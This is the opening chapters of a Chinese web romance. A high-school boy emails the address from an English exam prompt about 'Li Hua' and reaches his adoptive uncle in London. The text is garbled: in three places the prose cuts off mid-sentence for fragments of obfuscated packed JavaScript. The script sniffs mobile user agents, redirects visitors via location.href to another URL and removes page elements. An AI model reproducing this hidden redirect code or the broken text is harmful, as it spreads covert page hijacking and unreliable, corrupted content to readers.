《霸道学生狠狠宠,娇弱李华哪里逃》 1. 第 1 章 伦敦进入冬令时,远在亚洲的东方之国也迎来了萧瑟的深秋。 下午的阳光晒得人睁不开眼,玫瑰花香,混合着微微刺鼻的油墨,还掺杂着太阳光线独有的芬芳,本该令人心情愉悦的下午,宋景初却烦躁到像是被狗咬到了大腿,一直抖腿抖个不停。 “能不能别抖了?”同桌的女生皱着眉:“男抖穷女抖贱你不知道啊,抖一下午了不累吗?” “我就算抖八十年,照样比你家有钱一亿倍,我还没说你呢,能不能别喷你那个玫瑰香水了,香味浓的都快发臭了。” “哎呦喂我这暴脾气,宋景初你怎么跟我说话呢!”赵颜薇一拍桌子站起身,拽着宋景初的领子上去就是一巴掌,被宋景初抬手挡下。 赵颜薇眉头一拧,试图挣脱自己的手,却被宋景初捏得纹丝不动,她咬牙道:“你松不松手!” “我不松,松了你就要扇我!”宋景初捏得更紧了,生怕赵颜薇抽出自己的手腕,赵颜薇踹了一脚宋景初道:“你她妈还是个男人吗?” 宋景初一挑眉反问道:“我还想问你是个女人吗?有你这么粗暴的女人吗?你一天到晚这么凶,小心以后嫁不出去!” “宋景初!我打死你!” “来呀,谁怕你!” “有本事你松手!” “不松。” “松开!” “我就不。” 赵颜薇刚准备再狠狠踹一脚宋景初,陡然间听见班主任洪亮的嗓门。 “宋景初,赵颜薇,干什么呢!都给我把手松开!” 宋景初道:“我不,老师,我一松开她就要打我。” “行了,松开,赵颜薇,你也松手。”王音径直走上前,一把扯开二人:“多大的人了,还一天到晚不好好学习,教室是你们打闹的地方吗?看看墙上的倒计时,还剩多少天就高考了,怎么这么不懂事?” “老师是她先要打我的。”宋景初撇了撇嘴,还偷偷瞪了赵颜薇一眼。 赵颜薇一脸吃了屎一样的表情,总算见识到了什么叫恶人先告状,她咬牙切齿道:“你给我等着,我回家就告诉我小叔,等他过段时间从伦敦回来,你就死定了!” “切,就你会告状。” “行了,都闭嘴。”王音一手一个将两人按回座位:“表兄妹还吵架,宋景初,有你这么当哥哥的吗?” “表的。” “说的谁愿意当你妹妹似的,呸,我还不稀罕呢。” 宋景初一摆手:“老师你看,她要造反。” “闭嘴,不许再说话了。” 王音被这两人吵得头疼,一挥手驱散了周边看热闹的学生:“都回位置上去,课代表,把桌子上的卷子发了,不用收,明天上课讲。” “又要写卷子啊!” “能不能放过我,我不想写英语!” “啊啊啊啊啊……” …… 哀嚎声,叫喊声,传遍教室的每一个角落,王音一敲桌子,高声道:“有空在这儿抱怨,没空多写几道题吗?” 众人又是一阵哀嚎,但片刻之后就渐渐地回归了宁静。 抱怨的确什么用都没有,抓紧多写几道题才是硬道理。 宋景初照例直接将卷子翻到了背面,先写最后一道作文。 “你远在英国的朋友李华最近生病感冒,无法赴爱尔兰进行留学,将要回国休息,请给他写一封电子邮件,他的邮箱是。 内容包括:(1)询问近况;(2)分享国内消息;(3)表达祝愿。注意:(1)词数80左右;(2)可适当增加细节,以使行文连贯。” 宋景初看完题,心里默默吐槽道就几把的李华事多,不是生病就是要来中国,和弱智一样一天到晚啥都不懂,就会写信发邮件问问问,问得考生落泪,问得老师心碎。 看着就烦。 宋景初索性将卷子收起塞进书包,掏出了一套数学真题做了起来。 晚上,他看着那张英语卷子上的作文,心里把李华骂了十几遍,最后还是含泪动笔写了起来。 写到最后,他已经接近崩溃,就差把卷子撕成碎片嚼吧嚼吧吃进肚子,对于他这种英语差到极致的人来说,这简直是一种莫大的羞辱,是在将他的颜面放在卷子上反复蹂躏。 看着卷子上最后那句“have a good time.”宋景初唯一记住的一句话,不管写什么都要用上,简单到小学六年级都会,却是他凑够80词最后的倔强。 词尽…… 要吐血了…… 宋景初面容扭曲地抱头痛呼,世上竟有此等晦涩难言之语,一堆乱七八糟的字母长得跟蚯蚓一样满纸乱爬,单拎出来哪个都能看懂,拼在一起却瞬间变成不认识的模样。 郁闷。 宋景初百无聊赖地打开手机,刷到的第一条短视频:教你三天速成地道英语。 底下评论:就这个地地地道地地道道地地地地道~ 操。 宋景初默默点了个踩。 眼不见心不烦。 然而接下来的两个小时,宋景初只要一写英语脑子里就想起那个魔性的音乐,无论如何都挥之不去,还在脑海里3D立体环绕式播放。 于是他终于放弃了,决定明天去学校抄同桌的。 就在他准备收起卷子上床睡觉的时候,脑子里忽然灵光一闪。 英语卷子上的邮箱是谁的呢? 宋景初当即掏出手机,将作文最后那串邮箱输进收件人,并且发送了一条信息。 “Hello?” 过了一会儿,收件箱收到了一条回信。 “?” ?!!居然是真人! 宋景初当即就来了兴致,觉也不睡了,作业也不写了,拿起手机就是一顿即兴发挥。 “I heart you are ill,that''s really difficult,i hope you can be good,have a good time!” 发送! 过了一会儿,收件箱里又收到一封回信。 “emmm……thanks.” 宋景初一拍桌子。 你看,我就说这老外能听懂我说话! 网线另一端,赵明庭抱着电脑,看着屏幕上语法混乱用词错误的蹩脚邮件一脸问号。 赵明庭大概能懂这封邮件在说什么,但是这用词属实让自己想到了一个新疆的朋友。 我心里你病了,那真的很难,我希望你能变好,玩得开心。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15442898|169378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 赵明庭差点儿笑出声,感觉听见了自己新疆的朋友在关心自己:哎朋友,我的心里面你病了我知道呢~ 不过这人到底是谁啊,怎么会知道自己生病了,还发邮件来问候。 赵明庭简单查了一下,发现这是一封来自中国的邮件。 中国,一个繁荣而富饶,优雅而神秘的东方大国,十几年未曾回国,赵明庭很是想念这个美丽的国家。 但很可惜,这边的工作还有一部分没有收尾,回国的日子飘无定期,就连他自己也说不准什么时候才能回去。 就在赵明庭愣神之际,收件箱里又收到几封邮件。 “Are you truly people?” “What are you doing?” “How old are you?” “Are you girl?Or boy?” 赵明庭看着这些不明所以的邮件,心里的疑惑更大了。 对方似乎并不认识自己,却能知道自己的邮箱,还知道自己生病了,给他发邮件问候。 究竟会是谁呢? 赵明庭将对方的邮箱发送给秘书,想要调查一下对方,然而发送完之后他才想起秘书和他一样感冒生病在家,此刻应该也在和自己一样,披着厚毯子窝在壁炉旁喝姜茶。 冬令时的到来令整个伦敦蒙上了一层阴霾,下午五点,外面的天已经漆黑一片,赵明庭躺在落地窗前的沙发上,身上盖着厚厚的毯子,眯起眼睛看着壁炉里燃烧的火堆。 “您在想什么?” 管家抱来一个柔软的靠枕,垫在了赵明庭身后。 赵明庭摇了摇头:“没什么,只是想回国了。” 今天的这几份邮件勾起了他回国的念想,他已经太久没有回去了,十分想念远在国内的亲朋好友。 “您想尝一尝烤红薯吗?我记得在国内的时候,夫人经常带着你们偷偷去后山烤红薯。” “那是什么时候的事?” “您六七岁的时候。” “很久远了。” “是啊。” 很久远了,久到那时候的赵夫人,还是一个阳光明媚的美丽少女,而现在已然变成了一座冰冷的墓碑。 “抱歉,勾起了您不好的回忆。”管家微微一欠身,满眼歉意地低下头。 “不必在意,我已经不会再为了这件事而感到伤心了。”赵明庭嘴上说着,心里却不可察觉地低落起来,他强撑笑容道:“今天的晚餐就按你说的做吧。” “是。” 管家悄声离开了卧室,又只留下了赵明庭一人。 赵明庭看着窗外漆黑的夜色,眸中闪动着莫名的落寞。 当年他十四岁来到英国,陪同他的只有一位管家哲森,他在英国上学,工作,创业,一步一步走到现在,哲森也日渐变老,不久之后就要离开,回到乡下的老家颐养天年。 如同当年他的诞生一样,孤零零的一个人,短暂地享受了拥有家人的时光之后,也许半个月,也许半年,他又将重新变回一个人,再次孤零零地生活。 想到这儿,赵明庭默默地在键盘上敲下回复的话。 “Yes.” “I''m not tell you.” “28.” “A man.” 虽然不知道对方的来意,但孤寂的下午能有人陪他聊天,似乎也挺不错。 2. 第 2 章 “A man?男的啊?”宋景初盯着那几封回信咋咋舌,他还以为是个美女,没想到是个28岁中年大叔。 没意思。 不过他说这么多,对面居然可以听得懂,看来自己的英语也没有想象中的那么差。 宋景初一瞬间就自信起来了,决定拿这个邮箱当树洞,每天写一篇日记,锻炼一下自己的写作,反正对面是个老外,嫌他烦也不能跑到中国来揍他。 一想到这儿,宋景初就对自己的英语水平自信的不得了,手机一扔裤子一脱,上床倒头就睡,美滋滋地一觉睡到大天亮,高高兴兴准备爬起来上学的时候,一看手机,差点儿天都塌了。 老四:兄弟你人呢?十二点了还不来上课啊 老三:哥你太牛了,今天灭绝师太查出勤率,你居然都敢不来,厉害厉害,小弟佩服 老二:死了? 班主任:宋景初,为什么还没到学校? 班主任:自己看看几点了? 班主任:你这什么态度?今天把你家长给带过来! 爸爸:臭小子你怎么回事?还不去上学? 妈妈:生病了吗?宝贝 妈妈:需不需要妈妈帮你请个假啊 我操啊! 宋景初光速滚下床,穿裤子套上衣一气呵成,飞一样冲进洗漱间,火速刷牙洗脸。 难怪他今天一醒来就感觉神清气爽,原来都已经睡到下午一点了。 等赶到学校的时候,正好午休结束,上第一堂课,好死不死还是班主任的。 宋景初略有尴尬地站在门口,不好意思地挠了挠头。 “报告……” “还知道回来呢。” 王音一粉笔头飞过去,正中宋景初脑门中心,当即就让宋景初捂着脑袋抱头蹲地。 “老师我错了,疼死了,别打我了!” “疼就给我长记性!滚回来,站着听课。” “哦。” 宋景初挪进教室,翻出昨天要讲的英语卷子站到了最后一排,等他打开卷子准备看看讲到哪儿了的时候,忽然两眼一黑。 完蛋了,昨天实在不想写英语,就只写了作文,剩下的整张卷子几乎都是空的。 我去,刺激啊! 正当宋景初掏出黑笔准备现补的时候,王音忽然一记眼刀杀了过来,紧接着,犹如阎王点卯似的叫出了宋景初的名字。 “宋景初,来,念一下七选五答案。” 宋景初当场石化,哆哆嗦嗦地将卷子对折再对折,假装认真道:“EADBG。” 全班寂静。 “怎么了?错了吗……” 宋景初自己心里也没底,虽然是瞎蒙的,但蒙也能蒙对几个吧? “你自己觉得呢?”王音恨铁不成钢道:“全错!宋景初,你脑子让狗啃过是吗?为什么所有科目都能学好,偏偏只有英语能差成这样?你是对我有意见吗?有的话你可以说出来,不用拿英语撒气!” 宋景初尴尬讪笑:“没,老师,我是中国人,英语真学不来……” 王音拍了几下胸口,深吸了一口气:“来,你把你写的作文给我念一下。” “老师,要不别听了……” “念!” “哦。” 这个倒是真写了,就是写了不如别写。 宋景初顶着全班戏谑的目光和王音爆裂的怒火,将卷子举在眼前,和机器人一样念了起来:“Dear LiHua,i heart you are ill,i feel very hurt in my heart,i think you should eat drug and hot water,also you can go out to play basketball,it can make your body became more great,ok,i say this,have a good time.” 王音听完眉头仿佛能夹死苍蝇:“你给我解释一下,i say this是什么?” “我就说这么多……” 王音沉默半晌,忽然释然了。 “……宋景初,以后英语课你都站着吧,站到毕业,作文写的挺好的,虽然狗屁不通,但是能看出来你尽力了,以后不要用drug这个词了,李华只是生病了,不是瘾犯了,不用让他吸.毒。” 全班顿时哄堂大笑。 “哦。” 宋景初尴尬地挠挠头。 他就说百度没他靠谱吧。 好不容易熬过了一节英语课,一下课,老三老四就围到了他桌子跟前。 老三徐尚轩一拍宋景初的肩膀,极为佩服道:“太牛了老大,对着空卷子都敢即兴发挥,佩服佩服!” 他坐最后一排,一转头就能看见宋景初洁白如雪的试卷,当时他都准备和宋景初来一招狸猫换太子了,没想到宋景初拿着空卷子都敢胡说八道,此等勇气,实乃F4之首也。 “事出紧急,都是被王音逼的。”宋景初将那张卷子撕成碎片,随手扔进赵颜薇桌子旁边挂着的小垃圾袋。 赵颜薇正在写题,得空伸手狠狠拧了他一把,疼得宋景初光速收手。 老四杜宇道:“你今天怎么回事,这么迟才来学校?” 宋景初捂着胳膊道:“快别提了,闹钟忘记订了,呼,这家伙,手劲儿怎么这么大!” “我说,宋景初,你该不会是半夜偷偷打游戏,才起迟了吧?”赵颜薇狞笑着道:“你完蛋了,我要告诉叔叔阿姨,让他们没收你手机!” “你敢!” 赵颜薇笑道:“我怎么不敢?而且你之前还总是晚自习翻墙出去上网吧,别以为我不知道。” “你!”宋景初瞪着赵颜薇,赵颜薇也反瞪了回去:“怎么,你的电脑也不想要啦?” 宋景初一咬牙:“行,算你狠,说吧大小姐,想让我替你做什么?” 赵颜薇拨了拨自己的长发:“我呀,也没什么特别重要的事,只是我小叔快要从伦敦回来了,我爸妈吩咐我照顾好他,但是你也知道啊,寒假我约了小茱莉去巴黎,所以呢,这个艰巨的任务,就只能交给你了。” “你让我替你去照顾你小叔?” “怎么了嘛,说的那好像不是你小叔似的,你跟我是表兄妹,我小叔当然也是你小叔啦。”赵颜薇拍了拍宋景初的肩膀:“做晚辈的孩子要有孝心,现在,轮到你尽孝了。” “得了吧,我连面都没见过,算哪门子亲戚,再说了,你小叔残疾人啊,自己一个人活不了吗?还非要别人伺候他。” “啧,怎么说话呢?我小叔抑郁有点儿严重,一个人呆着家里人都不放心。” 宋景初一怔:“我去,他抑郁症你把我和他放一起,他万一失控了捅我一刀怎么办?!” 赵颜薇摆摆手:“不可能不可能,你人高马大的,就算真被捅一刀又能怎样啊。” “可是……” “哎呀别可是了。”赵颜薇打断了他:“就这么愉快的决定了。” 宋景初傻眼了。 真要他去照顾一个抑郁症病人啊。 “大小姐都发话了,宋哥你加油吧。”杜宇安慰般地拍了拍宋景初的肩膀,徐尚轩也道:“加油吧老大,看好你。” * 放学后,宋景初一脸郁闷地回到家,晚饭也没吃,径直钻进了卧室。 过了一会儿,房门被敲响。 宋景初开了门。 “妈妈?有什么事情吗?” “来找你聊天呀。”赵幼栀端着两杯牛奶,轻笑着说:“宝贝,可以帮妈咪拿一下吗?” “嗯。”宋景初接过牛奶,让赵幼栀进了自己的卧室。 两人一同坐在落地窗前的沙发上,身上盖着同一条毯子,这是赵幼栀亲手织给宋景初的十六岁生日礼物,宋景初很爱惜这块毯子,直到现在,毯子都被保存得完好如初。 “宝贝,今天怎么没有订闹钟啊?” 宋景初撇撇嘴:“我忘记了。” 赵幼栀轻笑,摸了摸他的头:“没关系,人都会有犯错的时候。” “真的吗?那你呢?妈妈,你有犯错的时候吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15442899|169378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “有啊。” 宋景初疑惑道:“什么啊?” “我今天早上忘记做早餐了。”赵幼栀捂嘴笑道:“还好你睡过了头,我和爸爸正好去外面吃了一家很喜欢的餐厅。” “哇塞,原来我是多余的。”宋景初假装抹了抹眼泪。 “怎么会呢,宝贝,你是爸爸妈妈爱情的结晶啊。” “那你们爱我吗?” “当然。” “即使我不优秀,也会爱我吗?” “会呀。”赵幼栀将宋景初拥进怀中:“妈妈当初怀孕的时候,对你只有一个期望,就是希望你能够平平安安,健健康康地长大,就算你以后不成器,不优秀,那也没关系,爸爸已经为你铺好了所有的路,你只要躺着就够了。” “我是躺赢狗,爸爸是mvp。” “那妈妈呢?” “妈妈是最强辅助。” “哈哈。” “对了,妈妈,我有件事情想问你。”宋景初问道:“颜薇真的有一个伦敦的小叔吗?” “嗯。”赵幼栀笑道:“你怎么会知道他?” “颜薇总是跟我讲他小叔,所以我就知道了,他小叔是个怎样的人啊,为什么一直在国外不回国?” “他小叔啊,说起来很复杂呢。” “有多复杂?” “颜薇的小叔叫赵明庭,是我妹妹他丈夫的弟弟,也就是我的弟弟,当然了,他也是你的小叔,但他却不是赵家的本家人。” “都姓赵,为什么不是本家人?” “明庭他本家姓叶,当年他的父母和外公外婆交好,他母亲生他的时候难产而亡,他父亲也在来的路上遭遇车祸,当时的赵总,也就是我父亲,看这个孩子实在太可怜了,于是就收养了他,改姓赵。” 宋景初疑惑道:“按理来说收养这种事,不应该由我小叔的爷爷,或者家族亲人来做吗?为什么会是外公收养了小叔?” “因为明庭的父母当初为了在一起,移民到了英国,和家里人早就断绝了联系,在当时那种情况下,能联系到的只有你外公外婆。” “原来如此啊,那小叔也是英国人吗?” “嗯,不过十四岁之前,他一直生活在中国。” “这样啊,那他是个怎样的人啊,为什么会抑郁?” 赵幼栀神色落寞道:“明庭他自幼失去双亲,寄人篱下,虽然有我和你姨母陪着他,还有你父亲和他做伴,但他一直都觉得是自己害死了父母,后来他回到英国,身边只有一位老管家陪伴他,独自漂泊十四年,孤苦伶仃,无依无靠,抑郁会如此严重,也是情理之中的事。” “那小叔会不会很凶,脾气很差啊。” “不,他是一个很温柔的人。” “温柔?” “嗯,他很温柔,也很傲娇,像一只脾气很好的小猫。” 宋景初瞬间来兴致了:“那他长什么样子啊?” “非常可爱。”赵幼栀一提到这儿,眉眼也不自觉地弯了:“他是我见过最可爱的孩子,我和姨母都很喜欢把他打扮成女生,给他穿漂亮的裙子,戴上长长的假发,那时候他还有婴儿肥,睫毛长长的,眼睛大大的,嘴巴也红红的,像童话里的公主,对了,我听颜薇说你自告奋勇要去照顾你小叔,到时候你就可以见到他了,他绝对会是你喜欢的类型。” 宋景初心道哪里是自告奋勇,分明是被逼无奈,他扶了扶额,道:“妈妈,虽然我性取向很模糊,但是爱上小叔这种事我觉得还是不太可能的。” “不,你一定会喜欢上他,这个世界上没有人会不喜欢你小叔。” “拜托妈妈,那可是我小叔啊,再怎么说也是亲戚。” “那又怎样,咱们家这么多孩子,就出了你和你小叔两个同性恋,你们之间又没有血缘关系,与其看着你们在外面招惹花花草草,不如配成一对好。” “可是……” “别可是啦。”赵幼栀弯了弯眼睛:“好啦,妈妈要去陪爸爸聊天了,晚安,我的宝贝。” “好吧,晚安妈妈,替我和爸爸也说一声晚安。” 3. 第 3 章 赵幼栀离开后,宋景初郁闷地坐在沙发上,不自觉地就拿起手机给赵颜薇发消息。 宋景初:你有你小叔的照片或者视频吗? 赵颜薇:我找找 赵颜薇:找到了,不过是他年轻时候拍的 赵颜薇:【视频】 宋景初犹豫了一会儿,还是好奇地点开那段视频,只看了一眼就瞬间惊叹出声。 “我去,这也太可爱了!” 视频里的男人穿着白色衬衫,坐在咖啡桌前抱着一只比熊,明眸皓齿,眉眼如画,长长的睫毛垂在眼尾,投下一片阴影,眼角带着几分淡淡的粉嫩,鼻梁高挺,薄唇樱红,温柔地看着镜头眨了眨眼睛。 “这只小比熊可爱吗,她叫甘甘,很漂亮哦。” 男人抱着小比熊,像怀抱小婴儿,一举一动尽显温柔,一颦一笑都令人心动不已,视频的最后,男人略有些难过,但还是强撑起笑容,眼角蓄满了泪水,一双眼眸似水般温婉,遗憾地开口道:“今年还有很多工作没有完成,原谅我不能回国陪你们过新年了,抱歉,我会想念你们。” 短短几十秒的视频,宋景初已经被震惊地说不出话了。 怎么能有人美成这样?怎么会有男人能长成这副模样?这也太犯规了! 他想妈妈说的对,这个世界上就不会有人不喜欢他小叔! 宋景初瞬间来劲了,光速将视频保存到手机里,来来回回看了好几十遍,然而看完之后他就消停了。 这是他小叔年轻时候的视频,那现在呢? 男人一过20就是60,他小叔会不会变成油腻的中年大叔呢?万一他小叔花期短呢? 宋景初匆匆忙忙打开手机,在浏览器里输下赵明庭的名字,然而却什么也没找到。 他不禁嘲笑了一下自己,真的是疯掉了,才会在浏览器里搜自己小叔的名字,但他对于这个男人的好奇心是真的被勾起来了,恨不得现在就见到赵明庭,一睹他的真容。 可是他小叔会喜欢他吗?他的长相符合小叔的审美吗?他小叔有严重的抑郁,会不会不爱说话,能接受他一天到晚在耳边叨叨个没完吗? 宋景初急得恨不得现在就赶紧到寒假,一天也等不及了,以至于一晚上都没睡着觉,整夜都在反反复复观看那段视频。 第二天顶着两个大黑眼圈进教室的时候,赵颜薇极其嫌弃地躲开了宋景初。 “大妈你昨晚去抬棺了吗?缺钱跟我说啊,干啥折腾自己啊。” “你才抬棺去了。”宋景初心道都是你害的,这么小气,就发一小段视频,吊得他整夜没睡觉,精力全放在人肉他小叔上了,结果到头来屁也没查到,他还不好意思去问爹妈。 “那你这是去干嘛了,跟让人掏了两拳一样。”赵颜薇嫌弃地摆摆手:“离我远点儿,身上一股死人味。” “赵颜薇,你小叔什么时候才回国啊。” “不知道啊。”赵颜薇诧异地看着宋景初:“你不是不愿意照顾他吗?干嘛问这个?” “我什么时候说我不愿意了?” “那你昨天耷拉着脸,我还以为你不愿意照顾他,准备找其他人照顾他呢。” “别!”宋景初忽然一激动:“别找别人!” 赵颜薇看他的眼神不亚于见了鬼:“你发什么病?” 宋景初讪讪道:“我这不是担心别人照顾不好他嘛,其实我也不是不愿意照顾他,我这么有孝心的一个人,怎么可能会不孝敬长辈啊,哦对了,你能把你小叔的微信先推给我吗,我跟他先接触一下,了解了解他的喜好呗。” “不能。”赵颜薇眼神忽然变得犀利起来,紧盯着宋景初道:“宋景初,我算是明白了,你这是看上我小叔了,是吧?” 宋景初一拍大腿笑道:“哪儿有?我怎么可能会看上他啊?” “说实话,不然不给你微信。” “哦,我喜欢他。” “说了也不给你。” 宋景初瞬间炸毛:“赵颜薇!你怎么能这样?!!” 赵颜薇冷笑:“我就知道你没安好心,你这个不肖子孙,居然连自己小叔都想下手,是人吗你,再说了,我小叔美若天仙,就你这样的,配跟他在一起吗?癞蛤蟆想吃天鹅肉,想疯了你。” 宋景初没生气,反而一怔,垂下眸道:“那你小叔喜欢什么样的?” 赵颜薇惊愕道:“不是吧宋景初,你认真的啊?” “嗯。”宋景初肯定道:“认真的。” “为什么?因为那个视频?” “嗯。” 赵颜薇沉默了。 片刻后,她挑眉道:“我小叔长那个样子,对他一见钟情也是人之常情,我能理解,但是,宋景初,小叔他有很严重的抑郁,这件事不是开玩笑的,他一直在国外接受治疗,但这么多年了,不仅没有好,反而越来越严重,你觉得你真的能接受得了他吗?真的能忍受他反复多变的情绪,能忍受他无缘无故和你动手吗?” “能。”宋景初笑道:“我一大男人,他打我几下能有多疼,他脾气不好我就忍着,反正我最能忍了。” “嗯哼。” “你什么意思?” “嘲笑的意思。” 宋景初道:“为啥嘲笑我?” “笑你太天真了。”赵颜薇笑道:“你自己要找气受,那我也不拦着,爱去去吧,加油哦,你要真上位了我一定拉九万九千九百九十九朵玫瑰亲自到你俩的婚礼现场给你俩庆祝。” “好啊,一言为定。” “一言为定。” * 周五下午四点放学。 回家的路上,宋景初连空气都觉得是甜的,一到卧室,他倒头就睡,就连做的梦都是关于他小叔那张漂亮可爱的脸。 睡到晚上十点,他终于爬起身,从角落里摸出了自己的手机。 赵颜薇这个狗还是防着他,死活不给他小叔的微信,宋景初稍稍有点儿郁闷,但很快坏心情就一扫而空,因为赵颜薇又给他发了一段赵明庭的视频,是赵明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15442900|169378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庭在国外过圣诞节的视频。 这段视频是宋景初答应帮赵颜薇打扫一周卫生换来的,他觉得很值,非常值,值爆了。 视频里的赵明庭自己拿着手机,穿着风衣,带着一条卡其色的围巾,将手中一颗包装精美的苹果举在镜头前。 “今天是圣诞节,街上非常热闹,栀栀姐姐,宋华哥,玫瑰姐姐,还有言枝哥,我很想念你们,不知道你们有没有想念我。 “今年是我离开你们的第八年,我真的很想很想你们,我在这边虽然过的不是很孤独……好吧,也有点儿孤独。” 说到这里,赵明庭明显红了眼眶,但片刻后还是笑着说:“我在这边一切安好,等我安顿之后很快就会回来和你们相见,听说景初和颜薇明年就要上初中了,时间过得好快啊,上一次见他们的时候,他们还都是小小的一个呢,没想到现在都已经长成大孩子了,替我跟他们也道一声祝福吧,我会保佑你们的,我可爱的侄子侄女,小叔爱你们。” 视频到这里就戛然而止,宋景初却沉浸在震惊之中无法自拔。 原来他小叔见过他吗?为什么他会完全没有印象? 想不通缘由,于是宋景初跑到了父母的房间里,将视频放给了父母。 “爸爸,妈妈,为什么我小叔见过我,我却一点儿印象都没有啊?” 宋华拍拍他的脑袋笑道:“因为你小叔出国那年你才四岁啊。” 赵幼栀也笑道:“宝贝,你的记忆力是真的很差啊,你小时候很喜欢黏着你小叔,走到哪儿都不撒手的那种,还哭着喊着非要嫁给人家呢。” “啥啊!”宋景初红了脸,捂着脸道:“要嫁也是他嫁给我!” “臭小子,这么有理想啊,居然惦记你小叔,还好你小叔和你没有血缘关系。”宋华赞同地点了点头:“好眼光,和你爸我一样,不过你小叔可不是那么好追的,看来你注定要吃点儿爱情的苦了。” 宋景初撇撇嘴:“什么意思啊,那你追妈妈的时候就没有吃过苦吗?” 宋华骄傲一笑:“没啊,你妈妈和我是青梅竹马,天造地设的一对。” “好了别说了,嘘,小嘴巴闭起来。” “臭小子,你就羡慕去吧。”宋华弯着眼睛一笑:“你妈妈爱我,没办法。” “爸爸你别说话了行吗?”宋景初刚准备逃跑,忽然一转头道:“不对啊,为什么我从来没在你们口中听说过我小叔,但是赵颜薇听说过?” 他甚至都不知道自己还有个这么貌美如花的小叔。 宋华给了他一个脑瓜崩:“总是提起你小叔会勾起妈妈伤心的回忆,臭小子,你能不能懂点儿事?” 宋景初捂着脑袋道:“那也不能什么都不让我知道啊!” 宋华摆摆手道:“行了行了,你现在不就知道了吗?别计较了,快点儿去写作业吧,不要打扰我们的二人时光。” “哦!” 宋景初头也不回的出了门。 这个家,果然他是多余的那个。 4. 第 4 章 宋景初愤愤出了门,转头钻回了自己的卧室,抱起笔电就是一顿哀嚎。 他小叔那么优秀,怎么可能会看上他这种无脑高中生啊,他还有希望吗? 郁闷的情绪包裹着宋景初,宋景初抱着电脑打开邮箱,输下那个熟悉的账号,打了好几个单词,又火速删掉,反反复复好几次,最终还是将合上的电脑又打开了。 “I love you,really love you,want be your husband,and want protect you for a lifetime,i don''t know if you believe in love at first sight,but this is truly thing,really wonderful.” 宋景初一词一句敲下自己的思念,也不管对面老外的死活,写完直接就发送了出去,过了半晌,对面回复了三个问号。 “???” 宋景初才不管老外想干啥,说完心情舒坦多了,电脑一关,直接就躺床上开了一把游戏,很快就沉浸在了游戏的血雨腥风之中。 屏幕的另一边,赵明庭刚喝完热茶,一脸疑惑地看着电脑屏幕上那封蹩脚英文写下的告白信,他试图回信,然而对方并不搭理他,都过了一两个小时了还是没有任何回复。 赵明庭真的郁闷了。 对面到底是谁,到底想干嘛。 得不到任何回应,被对面单方面冷暴力,赵明庭一怒之下怒了一下,最终选择打爆秘书的电话,秘书裹着毛毯,艰难地从被窝里爬出来,抱起电脑就是一顿疯□□作,最终,三分钟后,对面的身份信息被整理成了文件打包发给了赵明庭。 赵明庭有点儿生气地点开pdf,刚看到第一张照片的时候就忽然愣住了神。 这眉眼,这长相,让他想起了一个故人。 哲森站在赵明庭身旁,无意间扫了一眼,于是笑着道:“一晃多年不见,景初都长这么高了。” “景初?”赵明庭转头看向哲森:“你又偷看我的电脑。” 哲森淡然一笑,“抱歉,但是知晓您的一举一动也在我的职责范围。” 赵明庭并未在意,转回身将pdf下拉,是几张宋景初在学校参加各种活动的照片。 照片上的少年张扬肆意,看着就阳光开朗,耀眼的光芒简直快要刺瞎赵明庭的眼睛,看完照片之后,赵明庭不禁感慨当年那个奶团子居然长成了如今这副帅气逼人的模样,不过想了一下栀栀姐和宋华哥的长相,赵明庭又觉得宋景初长成这样也是理所当然的,再一看宋景初的体检报告,身高足足191。 在学校一定会有很多追求者吧。 赵明庭不禁感慨,真是小豆丁长成大帅哥了。 正当赵明庭愣神之际,邮箱提示音再次响起,是宋景初的回信。 他问对方是否认识自己,宋景初回他“Yes!”李华嘛,打小就认识。 Yes? 赵明庭更郁闷了。 宋景初这孩子究竟是怎么了?给自己的邮箱里塞了这么多垃圾邮件,还有告白情书,到底有什么目的? 赵明庭的好奇心忽然罕见地被勾起来了,与此同时,哲森接完电话,转身告诉赵明庭一个极好的消息。 “Magnolia知道您在中国也有分公司,于是决定在中国开展合作,会谈日期暂定两个月后,她询问您届时是否要一起回国?” “她为什么忽然决定回国合作了?” “您忘记了吗,总工厂在国内。” 赵明庭皱了皱眉:“抱歉,我最近记忆力下降得很严重,有些事情记得不是很清楚,也反应不过来。” “没关系,我会为您理清楚一切,Magnolia很喜欢中国,这次她选择回国合作,一方面也是给自己的度假找个合适的借口,她问您想和她一起去北京看天安门吗?” “不了吧,帮我婉拒掉她。” “好的,下午我会通知山庄的各位进行清扫,将您送回国内之后,我会和江夏进行交接。” “这么快吗?”赵明庭捏紧了怀里的抱枕:“哲森,就不能再多留一年吗?” 哲森单膝跪在赵明庭身前,仰头看着他,轻握住了他的手:“我已经陪在您身边二十八年了,从您出生到现在,也是时候该离开了。” 赵明庭瞬间红了眼眶,将头转过一旁。 